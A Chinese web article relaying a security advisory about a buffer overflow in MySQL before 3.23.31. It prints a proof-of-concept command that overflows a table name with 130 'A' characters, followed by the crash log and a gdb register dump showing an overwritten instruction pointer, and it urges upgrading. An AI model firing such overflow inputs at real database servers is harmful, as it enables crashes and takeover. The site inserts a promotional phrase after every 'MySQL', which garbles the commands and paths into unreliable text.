WEB开发网
开发学院数据库MySQL MySQL3.23.31之前版本的安全漏洞 阅读

MySQL3.23.31之前版本的安全漏洞

 2007-11-11 14:14:11 来源:WEB开发网   
核心提示:所有小于 3.23.31 版本的 MySQL(和PHP搭配之最佳组合) 都存在一个缓冲溢出漏洞导致MySQL(和PHP搭配之最佳组合) 崩溃,使攻击者获得 MySQL(和PHP搭配之最佳组合)d 权限,MySQL3.23.31之前版本的安全漏洞,而可以操纵所有数据库,攻击的前提是必须有一个合法的登录名和口令,所以,各位

  所有小于 3.23.31 版本的 MySQL(和PHP搭配之最佳组合) 都存在一个缓冲溢出漏洞导致MySQL(和PHP搭配之最佳组合) 崩溃。使攻击者获得 MySQL(和PHP搭配之最佳组合)d 权限,而可以操纵所有数据库。攻击的前提是必须有一个合法的登录名和口令。



下面为最初发表于 MySQL(和PHP搭配之最佳组合) 邮件列表的信件摘要。

==================================================


漏洞是由Jo?o Gouveia 于1月12日发现的:

步骤:


在第一个终端上启动 MySQL(和PHP搭配之最佳组合)


spike:/var/MySQL(和PHP搭配之最佳组合) # /sbin/init.d/MySQL(和PHP搭配之最佳组合) start


在另外一个终端上输入:

jroberto@spike:~ > MySQL(和PHP搭配之最佳组合) -p -e ’select a.’`perl -e’printf("A"x130)’`’.b’

Enter password:

(没有反应?按^C退出)


在第一台终端上会显示:


spike:/var/MySQL(和PHP搭配之最佳组合) # /usr/bin/safe_MySQL(和PHP搭配之最佳组合)d: line 149: 15557 Segmentation fault

nohup

$ledir/MySQL(和PHP搭配之最佳组合)d --basedir=$MY_BASEDIR_VERSION --datadir=$DATADIR --skip-lockin

g "$@" >>$err_log 2>&1>

Number of processes running now: 0

MySQL(和PHP搭配之最佳组合)d restarted on Fri Jan 12 07:10:54 WET 2001

MySQL(和PHP搭配之最佳组合)d daemon ended


使用 gdb 显示结果如下:


(gdb) run

Starting program: /usr/sbin/MySQL(和PHP搭配之最佳组合)d

[New Thread 16897 (manager thread)]

[New Thread 16891 (initial thread)]

[New Thread 16898]

/usr/sbin/MySQL(和PHP搭配之最佳组合)d: ready for connections

[New Thread 16916]

[Switching to Thread 16916]


Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb) info all-registers

eax 0x1 1

ecx 0x68 104

edx 0x8166947 135686471

ebx 0x41414141 1094795585

esp 0xbf5ff408 0xbf5ff408

ebp 0x41414141 0x41414141

esi 0x41414141 1094795585

edi 0x0 0

eip 0x41414141 0x41414141

eflags 0x10246 66118

cs 0x23 35

ss 0x2b 43

ds 0x2b 43

es 0x2b 43

fs 0x0 0

gs 0x0 0


其中的 eip 指示就是缓冲溢出了。


解决办法就是升级到 3.23.31。所以,各位如果还没有把数据库升级到最新版本,请赶快行动。

Tags:MySQL 之前

编辑录入:coldstar [复制链接] [打 印]
赞助商链接